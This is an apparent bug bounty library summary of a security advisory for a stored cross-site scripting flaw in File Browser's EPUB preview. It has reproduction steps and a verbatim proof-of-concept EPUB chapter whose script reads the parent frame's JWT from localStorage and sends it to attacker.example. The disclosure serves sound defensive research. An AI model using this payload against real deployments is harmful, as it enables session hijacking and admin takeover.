# File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file

File Browser's EPUB preview enables allowScriptedContent, so a crafted EPUB's JavaScript runs in a sandbox with allow-scripts+allow-same-origin and steals the parent's JWT.

- Payout: Research
- Severity: high
- Program: File Browser
- Found by: tomasvanagas
- Disclosed: 2026-03-31
- CVE: CVE-2026-34529
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5vpr-4fgw-f69h
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5vpr-4fgw-f69h
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:xss

**Target:** EPUB preview (vue-reader/epub.js iframe) in File Browser web UI
**Root cause:** Preview.vue passes allowScriptedContent: true (and allowPopups) to epub.js, which renders EPUB content in an iframe sandboxed with both allow-scripts and allow-same-origin, defeating the sandbox so scripts reach the parent frame's DOM and localStorage.
**Steps:**
1. Deploy filebrowser/filebrowser:v2.62.1 via docker compose on port 80
2. Authenticate: `POST /api/login` with `{"username":...,"password":...}` returns JWT
3. Build EPUB 3 zip: mimetype, META-INF/container.xml, OEBPS/content.opf, nav.xhtml, chapter1.xhtml containing `<script>` that reads `window.parent.localStorage.getItem("jwt")` and exfiltrates via `new Image().src="https://attacker.example/?stolen="+...`
4. Upload: `POST /api/resources/poc_xss_test.epub?override=true` with `X-Auth: <token>` and `Content-Type: application/epub+zip`
5. Send victim to `/files/poc_xss_test.epub`; preview executes script, leaking JWT and victim IP
**How found:** Noticed Preview.vue passes allowScriptedContent: true to vue-reader/epub.js, recalled epub.js docs explicitly warn against enabling scripted content, and reasoned that the iframe sandbox combining allow-scripts with allow-same-origin is ineffective; noted same pattern as CVE-2024-35236 in audiobookshelf.
**Exploitation:** A low-privilege user with Create/upload permission uploads the malicious EPUB; when any user (e.g. admin) previews it, the embedded script runs inside the epub.js iframe, reads the parent frame's localStorage JWT, and exfiltrates it to an attacker host via an Image request, enabling session hijacking and privilege escalation. alert() is blocked (no allow-modals) so the attack is silent.
**Escalation:** Low-privilege uploader steals an admin's JWT, escalating to full admin session.
**Insight:** When a viewer library sandboxes untrusted documents, check whether the sandbox attribute includes both allow-scripts and allow-same-origin — that combination nullifies isolation and lets document scripts read the parent's localStorage; also grep frontend options like allowScriptedContent/allowPopups that libraries warn against.

## Proof of concept (copied exactly from the original report)

**Malicious EPUB chapter with XSS payload**

```
XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
  <h1>Security Test Document</h1>
  <p>This document tests EPUB script execution in File Browser.</p>
  <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
  <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
  <script>
  var out = document.getElementById("xss-proof");
  var ipOut = document.getElementById("ip-proof");
  var jwt = "not-found";
  try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
  out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
  fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
    ipOut.textContent = "Victim public IP: " + ip.trim();
  }).catch(function(e){
    ipOut.textContent = "IP fetch failed: " + e.message;
  });
  var img = new Image();
  img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
  </script>
</body>
</html>"""
```

